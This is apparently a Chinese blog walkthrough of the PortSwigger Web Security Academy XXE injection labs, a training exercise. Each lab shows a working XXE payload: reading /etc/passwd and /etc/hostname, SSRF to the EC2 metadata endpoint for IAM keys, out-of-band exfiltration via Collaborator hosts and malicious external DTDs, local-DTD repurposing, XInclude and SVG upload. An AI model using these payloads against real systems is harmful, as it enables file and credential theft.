Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection
- Portswigger web security academy:XML external entity (XXE) injection
- 1 - Exploiting XXE using external entities to retrieve files
- 2 - Exploiting XXE to perform SSRF attacks
- 3 - Blind XXE with out-of-band interaction
- 4 - Blind XXE with out-of-band interaction via XML parameter entities
- 5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD
- 6 - Exploiting blind XXE to retrieve data via error messages
- 7 -Exploiting XXE to retrieve data by repurposing a local DTD
- 8 - Exploiting XInclude to retrieve files
- 9 - Exploiting XXE via image file upload
1 - Exploiting XXE using external entities to retrieve files
题目描述
- Check stock功能点可能存在XXE
要求
- 读取
/etc/passwd
- 读取
解题过程
构造读取文件的exp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<stockCheck><productId>1&ext;</productId><storeId>1</storeId></stockCheck>
2 - Exploiting XXE to perform SSRF attacks
题目描述
- Check stock功能点可以XXE
- 在
169.254.169.254存在EC2元数据端点
要求
- 利用XXE进行SSRF,获取EC2中的IAM secret access key
解题步骤
构造exp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1&xxe;</storeId></stockCheck>
这里需要把实体放在
productId中,因为该参数出错后会把输入的内容返回请求会返回目录,根据返回的目录逐层进入即可
3 - Blind XXE with out-of-band interaction
题目描述
- Check stock存在XXE
- 但是没有返回
要求
- 实现OOB(Out-Of-Band 外带) XXE
解题过程
利用burp自带的Collaborator构造exp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://zrusv2avyq5v1n31ir5cestoefk58u.burpcollaborator.net/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1&xxe;</storeId></stockCheck>
4 - Blind XXE with out-of-band interaction via XML parameter entities
题目描述
- Check stock存在XXE
- 会阻止包含常规外部实体的请求
要求
- 实现OOB XXE
解题过程
从材料中得知,除了普通的外部实体,还有参数实体
借助参数实体构造exp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE asd [ <!ENTITY % xxe SYSTEM "http://qwqj0tfm3ham6e8snia3jjyfj6pxdm.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD
题目描述
- Check stock存在XXE
要求
- 获取
/etc/hostname的内容
- 获取
解题步骤
借助collaborator构造参数实体exp并上传到exploirt server
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>">
%eval;
%exfiltrate;
其中的
%是%的十六进制下的实体编码,用实体编码是为了防止报错%eval会解码并执行<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>,即进行参数实体exfiltrate的定义声明
构造xxe加载exp
<!DOCTYPE asd [<!ENTITY % ext SYSTEM "https://ac8f1f291f206d6880971508018f00ac.web-security-academy.net/exploit"> %ext;]
在collaborator client查看请求,复制并提交hostname
6 - Exploiting blind XXE to retrieve data via error messages
题目描述
- Check stock存在XXE
- exploit server可以放置恶意DTD
要求
- 通过报错信息获取
/etc/passwd的内容
- 通过报错信息获取
解题步骤
和上一题类似,先构造参数实体exp并上传到exploit server
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;
构造xxe加载exp
<!DOCTYPE asd [<!ENTITY % ext SYSTEM "https://ace71f7f1e8ca62780ce1c5f01dd00a4.web-security-academy.net/exploit"> %ext;]>
7 -Exploiting XXE to retrieve data by repurposing a local DTD
题目描述
- Check stock存在XXE
- 主机存在DTD文件
/usr/share/yelp/dtd/docbookx.dtd,且其中有一个实体叫做ISOamso
要求
- 借助材料中介绍的重定义外部DTD的方法,获取
/etc/passwd的内容
- 借助材料中介绍的重定义外部DTD的方法,获取
解题步骤
材料已经写的很详细了,直接构造exp
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
这个exp解决了当主机无法加载外网DTD文件时如何进行报错XXE的问题
巧妙之处在于,直接提交的XML:一个内部实体中不能包含另一个实体,但是通过加载并重定义本地DTD文件中的实体,可以解决这个问题

8 - Exploiting XInclude to retrieve files
题目描述
- Check stock存在XXE,用户输入会被嵌入服务端的XML中并随后被解析
要求
- 借助
XInclude语句获取/etc/passwd文件内容
- 借助
解题步骤
关于
XInclude可以看看这篇文章简而言之,它的作用和php的
include类似,把目标文件的内容包含进来构造exp
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
9 - Exploiting XXE via image file upload
题目描述
- 这个lab允许用户上传图片
- 服务端使用
Apache Batik library处理上传的图片
要求
- 通过XXE获取
/etc/hostname的内容并提交
- 通过XXE获取
解题步骤
尝试构造exp
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE asd [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg><xxx>&xxe;</xxx></svg>
报错500,然后尝试了很多其他格式和命名方式,都不行,去看了官方的solution。。。发现需要用svg的标准来写,因为最后内容会被转换为png
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
Portswigger web security academy:XML external entity (XXE) injection的更多相关文章
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- Python基础【while循环】
Python基础[while循环] 1.while循环: 格式 while 条件: ...... print(......) 注意,在while语句也可以嵌套else,但是else不执行循环,执行后直 ...
- linux云服务搭建Minecraft服务器
1 准备工作 以下内容全部要在root用户内完成 1.1 安装文件传输工具 为了方便传文件到服务器上,这里先装一个远程传输工具. yum -y install lrzsz 1.2 安装java Min ...
- LookupError: 'hex' is not a text encoding; use codecs.decode() to handle arbitrary codecs
问题代码: b=b'\x01\x02\x03' x=binascii.b2a_hex(b.decode('hex')[::-1].encode('hex')) python2下是不报错的,因为pyth ...
- N皇后求解。万万没想到,只用一个一维数组就搞定了。还体现了回溯。
一.啥是N皇后?先从四皇后入手 给定一个4x4的棋盘,要在棋盘上放置4个皇后.他们的位置有这样的要求,每一列,每一行,每一对角线都能有一个皇后. 你可能会对这个对角线有疑惑,其实就是每一个小正方形的对 ...
- 一文搞懂如何实现 Go 超时控制
为什么需要超时控制? 请求时间过长,用户侧可能已经离开本页面了,服务端还在消耗资源处理,得到的结果没有意义 过长时间的服务端处理会占用过多资源,导致并发能力下降,甚至出现不可用事故 Go 超时控制必要 ...
- ElasticSearch创建文档
1. 新建文档 支持自动生成文档 ID 和指定文档 ID 两种方式 通过调用 "post/users/_doc" ,系统会自动生成 document id 使 用HTTP PUT ...
- 如何快速编写一个微信Api?
概述 Magicodes.Wx.Sdk致力于打造最简洁最易于使用的微信Sdk,逐步包括公众号Sdk.小程序Sdk.企业微信Sdk等,以及Abp VNext集成. 本篇将侧重于讲述如何向Magicode ...
- java面试-强引用、软引用、弱引用和幻象引用有什么区别
在Java语言中,除了基本数据类型外,其他的都是指向各类对象的对象引用:Java中根据其生命周期的长短,将引用分为4类. 不同的引用类型,主要体现的是对象不同的可达性状态和对垃圾收集的影响. 1 .强 ...
- mp4视频中插入文字
最近接到一个需求,需要往mp4中动态插入文字,并且mp4中的乌云能在文字上有飘动的效果,一开始想用canvas,但是由于本人经验不足,没什么思路,看到css3有一个属性:mix-blend-mode, ...
- ES6转ES5(Babel转码器)
ES6转ES5(Babel转码器) 前提:必须在VScode中已经安装了Node.js 官网:https://nodejs.org/en/ 一.安装命令行转码工具 npm install --glob ...